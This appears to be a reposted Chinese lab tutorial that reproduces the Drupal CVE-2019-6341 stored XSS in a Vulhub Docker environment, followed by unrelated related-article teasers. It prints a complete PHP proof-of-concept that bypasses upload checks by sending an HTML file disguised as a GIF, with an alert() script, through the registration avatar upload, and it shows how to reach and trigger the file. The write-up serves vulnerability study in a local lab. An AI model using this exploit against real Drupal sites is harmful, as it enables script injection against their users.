目录

一、Drupal XSS漏洞

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

2、下载 Vulhub

3、进入漏洞环境

4、启动漏洞环境

5、查看环境状态

6、初始化Drupal环境

(1)访问 Drupal 安装页面

(2)完成图形化安装

(3)安装成功

三、漏洞复现

1、通过PoC进行文件上传

2、构造上传文件URL

3、访问上传文件


本文详细讲解Drupal XSS漏洞(CVE-2019-6341)的原理,环境搭建以及渗透实战。

一、Drupal XSS漏洞

CVE-2019-6341 是 Drupal 内容管理系统中存在的一个跨站脚本(XSS)漏洞,主要影响文件上传功能,攻击者可通过精心构造的文件触发漏洞,执行恶意脚本。

1、漏洞简介

条目详情
CVE 编号CVE-2019-6341
发布日期2019年2月20日 (Drupal 核心安全公告)
漏洞类型跨站脚本攻击 (XSS - Cross-Site Scripting)
影响组件Drupal Core - File 模块 / 编辑器处理
漏洞利用前提允许用户上传文件(尤其是文本文件)
CVSS 分数中等 (Moderate)
影响版本Drupal 8.6.x ( prior to 8.6.10)
Drupal 8.5.x ( prior to 8.5.11)
Drupal 7 ( prior to 7.66)

2、漏洞原理

Drupal 的文件模块(File module)在处理文件上传和预览时存在安全缺陷:当用户上传带有特殊构造内容的文件(如 HTML 文件)时,Drupal 未能正确过滤文件中的恶意脚本代码,且在某些场景下(如文件预览、展示文件内容时)未对文件内容进行恰当的转义处理。具体来说,攻击者可上传包含 <script> 等标签的 HTML 文件,当其他用户(如管理员)查看该文件的预览或内容时,恶意脚本会在受害者的浏览器中执行,导致 XSS 攻击。

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

本文使用Vulhub复现Drupal XSS漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。

# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker

2、下载 Vulhub

将 Vulhub 项目克隆到本地,具体命令如下所示。

git clone https://github.com/vulhub/vulhub.git
cd vulhub

3、进入漏洞环境

Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。

# 进入 Drupal CVE-2019-6341 的漏洞环境目录
cd drupal/CVE-2019-6341

4、启动漏洞环境

在 CVE-2019-6341 目录下,使用 docker-compose 命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。

# 在后台启动环境
docker-compose up -d

命令执行后,Docker 会完成以下工作:

  • 拉取一个包含 Drupal 8.5.0(受影响版本)的镜像。

  • 启动一个 MySQL 数据库容器作为 Drupal 的后端。

  • 启动 Drupal 容器,并将其 80 端口映射到你宿主机的 8080 端口(0.0.0.0:8080->80/tcp)。

5、查看环境状态

使用 docker ps 命令确认容器启动状态,如下所示从返回结果中的容器名称 cve-2019-6341_web_1 可以立即判断,这个环境即为CVE-2019-6341的漏洞环境。

docker ps           
CONTAINER ID   IMAGE            COMMAND                  CREATED          STATUS          PORTS                                             NAMES
12647a78461b   drupal:8.5.0     "docker-php-entrypoi…"   16 seconds ago   Up 15 seconds   0.0.0.0:8080->80/tcp, :::8080->80/tcp             cve-2019-6341_web_1

字段分析
CONTAINER ID12647a78461b容器的唯一标识符。前12位完整ID
IMAGEdrupal:8.5.0容器使用镜像:Drupal 8.5.0
COMMAND"docker-php-entrypoi…"容器启动时运行的命令。这里是截断的,完整命令通常是 docker-php-entrypoint,这是 PHP 官方镜像的入口点脚本,用于启动 Apache 或 PHP-FPM 来运行 Drupal。
CREATED16 seconds ago容器于 16 秒前被创建。
STATUSUp 15 seconds容器已运行 15 秒,状态健康。
PORTS0.0.0.0:8080->80/tcp 它将容器内部的 80 端口(HTTP 服务)映射到了宿主机的 8080 端口。这意味着你可以在宿主机上通过访问 http://localhost:8080 或 http://<宿主机IP>:8080 来访问这个 Drupal 网站。
NAMEScve-2019-6341_web_1 容器名称明确指出了其用途:用于 CVE-2019-6341 漏洞研究。

6、初始化Drupal环境

(1)访问 Drupal 安装页面

打开浏览器,访问 http://IP地址:8080。以我的电脑为例,即http://192.168.59.128:8080/

直接被重定向到install的页面,如下所示。

(2)完成图形化安装

你会看到 Drupal 的安装界面。请按照以下步骤操作:

  • 选择语言:选择 “English” 并点击 “Save and continue”。

  • 选择安装配置文件:选择 “Standard” 然后点击 “Save and continue”。

  • 验证需求:环境已由 Vulhub 配置好,应全部通过,直接点击 “Continue”。

  • 设置数据库:这里数据库选择SQLite,所有数据库连接信息已经自动配置好,你不需要做任何修改,直接点击 “Save and continue” 即可。

  • 安装站点:等待安装进度条完成。

  • 配置站点

    • Site name: 任意,

    • Site email: 任意邮箱

    • Username / Password / Email:这里设置的是管理员账号,请务必记住(这里我选择使用用户 root,密码 root)。

    • 其他设置保持默认,点击 “Save and continue”。

(3)安装成功

此时一个全新的、存在漏洞的 Drupal 8.5.0 站点就在本地搭建完成,如下所示。

三、漏洞复现

1、下载PoC文件

在vulhub中,已经存放好该漏洞的Poc文件,如下所示blog-poc.php即为漏洞利用的Poc脚本。

# ls       
1.png  2.png  blog-poc.php  docker-compose.yml  README.md

blog-poc.php脚本的完整内容如下所示。这个脚本的核心目标是:通过 Drupal 的用户注册表单中的头像上传功能,上传一个被伪装成 GIF 的 HTML 文件,从而绕过文件类型安全检查,实现存储型 XSS。Drupal 在处理带有特殊编码字符的文件名上传时,存在解析缺陷,导致本应被识别为图片文件(.gif)的恶意文件,其内容(包含 HTML/JS)未被正确过滤。同时,文件存储路径可预测,使得攻击者能够确定恶意文件的位置并诱导用户访问,最终执行跨站脚本。该漏洞的利用依赖于文件上传验证机制的绕过和文件名编码处理的漏洞,结合前端页面对上传文件的渲染逻辑,导致 XSS 代码被执行。

<?php
/*
usage: php poc.php <target-ip>Date: 1 March 2019
Exploit Author: TrendyTofu
Original Discoverer: Sam Thomas
Version: <= Drupal 8.6.2
Tested on: Drupal 8.6.2 Ubuntu 18.04 LTS x64 with ext4.
Tested not wokring on: Drupal running on MacOS with APFS
CVE : CVE-2019-6341
Reference: https://www.zerodayinitiative.com/advisories/ZDI-19-291/*/$host = $argv[1];
$port = $argv[2];$pk =   "GET /user/register HTTP/1.1\r\n"."Host: ".$host."\r\n"."Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"."Accept-Language: en-US,en;q=0.5\r\n"."Referer: http://".$host."/user/login\r\n"."Connection: close\r\n\r\n";$fp = fsockopen($host,$port,$e,$err,1);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){$out.=fread($fp,1);
}
fclose($fp);preg_match('/name="form_build_id" value="(.*)"/', $out, $match);
$formid = $match[1];
//var_dump($formid);
//echo "form id is:". $formid;
//echo $out."\n";
sleep(1);$data = 
"Content-Type: multipart/form-data; boundary=---------------------------60928216114129559951791388325\r\n".
"Connection: close\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"mail\"\r\n".
"\r\n".
"test324@example.com\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"name\"\r\n".
"\r\n".
"test2345\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"files[user_picture_0]\"; filename=\"xxx\xc0.gif\"\r\n".
"Content-Type: image/gif\r\n".
"\r\n".
"GIF\r\n".
"<HTML>\r\n".
"       <HEAD>\r\n".
"               <SCRIPT>alert(123);</SCRIPT>\r\n".
"       </HEAD>\r\n".
"       <BODY>\r\n".
"       </BODY>\r\n".
"</HTML>\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"user_picture[0][fids]\"\r\n".
"\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"user_picture[0][display]\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"form_build_id\"\r\n".
"\r\n".
//"form-KyXRvDVovOBjofviDPTw682MQ8Bf5es0PyF-AA2Buuk\r\n".
$formid."\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"form_id\"\r\n".
"\r\n".
"user_register_form\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"contact\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"timezone\"\r\n".
"\r\n".
"America/New_York\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_triggering_element_name\"\r\n".
"\r\n".
"user_picture_0_upload_button\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_triggering_element_value\"\r\n".
"\r\n".
"Upload\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_drupal_ajax\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n".
"\r\n".
"bartik\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n".
"\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n".
"\r\n".
"bartik/global-styling,classy/base,classy/messages,core/drupal.ajax,core/drupal.collapse,core/drupal.timezone,core/html5shiv,core/jquery.form,core/normalize,file/drupal.file,system/base\r\n".
"-----------------------------60928216114129559951791388325--\r\n";$pk =   "POST /user/register?element_parents=user_picture/widget/0&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\r\n"."Host: ".$host."\r\n"."User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\r\n"."Accept: application/json, text/javascript, */*; q=0.01\r\n"."Accept-Language: en-US,en;q=0.5\r\n"."X-Requested-With: XMLHttpRequest\r\n"."Referer: http://" .$host. "/user/register\r\n"."Content-Length: ". strlen($data). "\r\n".$data;echo "uploading file, please wait...\n";for ($i =1; $i <= 2; $i++){
$fp = fsockopen($host,$port,$e,$err,1);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){$out.=fread($fp,1);
}
fclose($fp);// echo "Got ".$i."/2 500 errors\n";
// echo $out."\n";
sleep(1);
}echo "please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM\n";?>
  • 获取表单构建 ID:首先向目标站点的/user/register页面发送 GET 请求,通过正则表达式提取页面中form_build_id的值。这个 ID 是 Drupal 表单的重要标识,用于后续表单提交的验证。

    preg_match('/name="form_build_id" value="(.*)"/', $out, $match);
    $formid = $match[1];
    
    • 构造恶意文件上传请求

      • 构造包含恶意内容的多部分表单数据(multipart/form-data),其中关键部分是上传的文件名和文件内容:
        • 文件名:使用xxx\xc0.gif,这里的\xc0是 UTF-8 编码中的一个特殊字节,利用了 Drupal 在文件名处理时的编码解析漏洞,可能导致文件名被错误解析,绕过部分验证。
        • 文件内容:包含 HTML 和 JavaScript 代码(<SCRIPT>alert(123);</SCRIPT>),这是典型的 XSS 恶意代码。
    • 触发漏洞的提交方式

      • 通过 POST 请求将恶意数据提交到/user/register的特定端点(带有element_parents=user_picture/widget/0&ajax_form=1&_wrapper_format=drupal_ajax参数),模拟 AJAX 上传头像的操作。
      • 重复发送两次请求以触发 500 错误)。
    • 恶意文件的存储与触发:漏洞利用成功后,恶意文件会被存储在 Drupal 的文件目录(/var/www/html/drupal/sites/default/files/pictures/YYYY-MM)。当该文件被访问或渲染时,其中的 JavaScript 代码会被执行,从而触发 XSS 攻击。

    2、利用PoC进行文件上传

    blog-poc.php脚本需要提供目标主机的 IP 地址 和 端口号 作为参数,命令格式如下所示。

    php blog-poc.php <目标IP> <端口号>

    以我的电脑为例,目标靶机的PoC命令为php blog-poc.php 192.168.59.128 8080,具体命令执行效果如下所示。

    这段输出提供了关键信息:

    • uploading file, please wait...

      • 表示脚本正在执行,正在向目标发送恶意请求。

    • please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM

      • 这是一个路径提示,告诉你恶意文件被上传到了服务器的哪个目录下。

      • YYYY-MM 是一个占位符,它会被实际的日期所代替,例如 2025-02(2025年2月)。

      • 这个路径是 Drupal 默认存储上传图片的目录结构。

    3、构造上传文件URL

    脚本成功运行后,需要手动触发这个 XSS 漏洞。需要根据脚本输出的路径提示,构造完整的 URL。文件上传的目录格式为http://<目标IP>:<端口号>/sites/default/files/pictures/YYYY-MM/,以我的电脑为例,IP是 192.168.59.128,端口是 8080,日期文件夹是 2025-08,那么完整的 上传路径为下所示:

    http://192.168.59.128:8080/sites/default/files/pictures/2025-08/

    上传的文件名按照顺序被命名为_0, _1,以此类推,故而我刚刚上传的文件为首次上传,故而其名为_0,故而上传脚本的URL地址如下所示。

    http://192.168.59.128:8080/sites/default/files/pictures/2025-08/_0

    4、访问上传文件

    访问图片位置,即可触发 XSS 漏洞,如下图所示。

    其内容如下所示,核心是一个简单的 HTML 文件,包含了一个<script>标签,其中的alert(123);是一段 JavaScript 代码,执行后会在浏览器中弹出显示 "123" 的对话框。

    GIF
    <HTML><HEAD><SCRIPT>alert(123);</SCRIPT></HEAD><BODY></BODY>
    </HTML>

    因为 Chrome、Edge 和 FireFox 浏览器自带部分过滤 XSS 功能,所以验证存在时可使用IE 浏览器,即可弹窗。

    本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
    如若转载,请注明出处:http://www.pswp.cn/news/921536.shtml
    繁体地址,请注明出处:http://hk.pswp.cn/news/921536.shtml
    英文地址,请注明出处:http://en.pswp.cn/news/921536.shtml

    如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

    相关文章

    Redis复制延迟全解析:从毫秒到秒级的优化实战指南

    Redis主从延迟飙升导致数据不一致&#xff1f;订单丢失、缓存穿透频发&#xff1f;本文深入剖析8大复制延迟元凶&#xff0c;并提供解决方案&#xff0c;让你的复制延迟从秒级降到毫秒级&#xff01; 一、复制延迟:分布式系统的隐形杀手 ⚠️ 什么是复制延迟&#xff1f; 当主…

    数据预处理与特征工程全流程指南:数据清洗、缺失值填补、类别特征编码、特征缩放归一化、特征选择与降维(PCA/LDA)实战解析

    1. 数据预处理与特征工程 “数据清洗、缺失值填补、类别特征编码、特征缩放/归一化、特征选择与降维&#xff08;PCA、LDA&#xff09;” 等流程&#xff0c;虽然被反复提到&#xff0c;但要在复杂的实际数据集中一步步落实&#xff0c;难度很大。 摘要 在机器学习与深度学习…

    小迪安全v2023学习笔记(七十九讲)—— 中间件安全IISApacheTomcatNginxCVE

    文章目录前记服务攻防——第七十九天中间件安全&IIS&Apache&Tomcat&Nginx&弱口令&不安全配置&CVE中间件 - IIS-短文件&解析&蓝屏等中间件 - Nginx-文件解析&命令执行等常见漏洞介绍漏洞复现中间件 - Apache-RCE&目录遍历&文件…

    《云原生微服务治理进阶:隐性风险根除与全链路能力构建》

    云原生微服务架构已成为企业支撑业务快速迭代的核心载体&#xff0c;但治理能力的滞后却常常成为制约发展的短板。许多企业在完成服务容器化、部署自动化后&#xff0c;便陷入了“架构先进但治理粗放”的困境—服务数量激增导致依赖关系失控&#xff0c;流量波动加剧引发资源配…

    因泰立科技:用激光雷达重塑智能工厂物流生态

    应对AGV碰撞困局——激光雷达如何重塑智能工厂物流在现代化工厂中&#xff0c;AGV&#xff08;自动引导车&#xff09;与移动机器人已成为提升生产效率的重要设备。然而&#xff0c;这些智能设备在忙碌的工厂环境中&#xff0c;却时常面临碰撞的困扰。这不仅影响了生产效率&…

    Remove.bg:精准自动抠图工具,高效解决图片去背景需求

    有没有做设计时被 “抠图去背景” 搞到崩溃的朋友&#xff1f;上次小索奇帮同事做活动海报&#xff0c;要把人物图从复杂背景里抠出来&#xff0c;用 PS 选了半天钢笔工具&#xff0c;头发丝还是漏一块缺一块&#xff0c;折腾半小时都没弄好 —— 后来被设计圈的朋友安利了 Rem…

    功率器件固晶挑战:抗高温翘曲治具提升IGBT焊接强度30%

    功率器件封装新突破&#xff1a;耐高温防变形工装助力IGBT模块焊接强度提升30%在功率半导体封装领域&#xff0c;IGBT模块的芯片贴装工艺正面临严峻挑战。随着功率密度不断提升&#xff0c;传统固晶工装在高温环境下易发生形变&#xff0c;导致焊接层产生空洞、裂纹等缺陷。最新…

    MATLAB可以实现的各种智能算法

    MATLAB可以实现的各种智能算法(包括但不限于)中文名称英文全称缩写出现年份算法来由&#xff08;灵感来源&#xff09;遗传算法Genetic AlgorithmGA1975模拟达尔文生物进化论的自然选择和遗传学机理&#xff08;选择、交叉、变异&#xff09;粒子群优化算法Particle Swarm Opti…

    【iOS】push,pop和present,dismiss

    文章目录前言push和poppresent和dismiss基本方法属性说明常见的用法运行演示push和present区别前言 在之前的学习中&#xff0c;我们发现iOS有两种用于推出新界面的常用方法&#xff0c;分别是push和present&#xff0c;但是二者存在很多区别 present只能返回自己的上一级视图…

    编写后端JAR包蓝绿发布脚本

    前端发布脚本的功能 保留每一个发布版本&#xff0c;防止新版本异常&#xff0c;方便回撤用户无感知&#xff0c;防止发布过程中的宕机 原理&#xff1a; 发布的JAR包只是一个软连接&#xff0c;新的JAR启动正常后&#xff0c;切换软连接指向即可。蓝绿JAR包绑定端口不同&…

    Kafka 和 RabbitMQ的选择

    h5打开以查看 选择 Kafka 还是 RabbitMQ&#xff08;或其他传统消息队列&#xff09;并不是一个谁比谁更好的问题&#xff0c;而是 “哪种工具更适合你的特定场景” 的问题。 它们的设计哲学、核心架构和目标用例有根本性的不同。简单来说&#xff1a; RabbitMQ 是一个消息代理…

    LeetCode 刷题【66. 加一、67. 二进制求和】

    66. 加一 自己做 解&#xff1a;逢十进位 class Solution { public:vector<int> plusOne(vector<int>& digits) {int add 1; //进位vector<int> res(digits.size() 1); //防止多一位的情况&#xff1a;9 1 10for(int i (int)digits…

    《MATLAB 批量把振动 CSV(含中文“序号/采样频率”)稳健转成 .mat:自动解析+统一换算+按 H/I/O/F-rpm-fs-load 命名》

    一文搞定&#xff1a;批量把中文头信息的 CSV&#xff08;含“序号/采样频率”等&#xff09;稳健转成 .mat&#xff0c;并按规则重命名&#xff08;H/I/O/F-rpm-fs-load&#xff09;1. 项目背景 在振动/故障诊断采集里&#xff0c;我们经常得到一批 CSV 文件&#xff0c;文件名…

    Unity与硬件交互终极指南:从Arduino到自定义USB设备

    这篇教程将遵循“是什么-为什么-怎么做”的结构,从宏观思路讲起,再深入到具体的技术实现,并附上可以直接使用的详细代码和注释,确保不同水平的读者都能从中受益。 前言:当虚拟照进现实 在游戏开发和交互设计的世界里,我们常常满足于键盘、鼠标和手柄。但当你想要创造真正…

    Tomcat 日志文件名的命名规范

    1. 核心日志类型及命名规范 (1) Catalina 日志&#xff08;引擎级日志&#xff09; 文件名&#xff1a;catalina.<yyyy-MM-dd>.log说明&#xff1a;记录 Tomcat 启动、关闭、严重错误等全局事件。示例&#xff1a;catalina.2025-09-07.log (2) Access 日志&#xff08;访…

    .vsdx文件转pdf、word、ppt等文件在线分享(免费版)

    网址如下&#xff1a; https://www.easeconvert.com/visio-to-pdf/ 只需要把.vsdx文件放到网址中即可

    如何在Docker容器之间进行通信?

    目录 1. 使用 Docker 网络(推荐) 步骤: 特点: 2. 端口映射(主机中转) 步骤: 特点: 3. 使用 link(不推荐,已过时) 4. 跨主机容器通信 总结 在 Docker 中,容器之间的通信可以通过多种方式实现,选择哪种方式取决于你的具体需求(如网络隔离性、跨主机通信等…

    从 “Hello AI” 到企业级应用:Spring AI 如何重塑 Java 生态的 AI 开发

    &#x1f525;个人主页&#xff1a;草莓熊Lotso &#x1f3ac;作者简介&#xff1a;C研发方向学习者 &#x1f4d6;个人专栏&#xff1a; 《C语言》 《数据结构与算法》《C语言刷题集》《Leetcode刷题指南》 ⭐️人生格言&#xff1a;生活是默默的坚持&#xff0c;毅力是永久的…

    震惊!仅用10张照片就能随意编辑3D人脸?韩国KAIST最新黑科技FFaceNeRF解析!

    FFaceNeRF模块 论文《FFaceNeRF: Few-shot Face Editing in Neural Radiance Fields》 深度交流Q裙&#xff1a;1051849847 全网同名 【大嘴带你水论文】 B站定时发布详细讲解视频 视频地址&#xff0c;点击查看论文详细讲解&#xff0c;每日更新&#xff1a; https://b23.t…

    spring-ai-alibaba-deepresearch 学习(十四)——CoderNode

    本篇为spring-ai-alibaba学习系列第四十篇前面介绍 ParalellExecutorNode 会为后续的 m 个 CoderNode 分配任务现在来看一下处理型任务的处理节点 coder_{i}该类节点主要负责执行一些操作&#xff0c;例如执行python代码、调用mcp等提示词以下是该文档的中文翻译&#xff1a;--…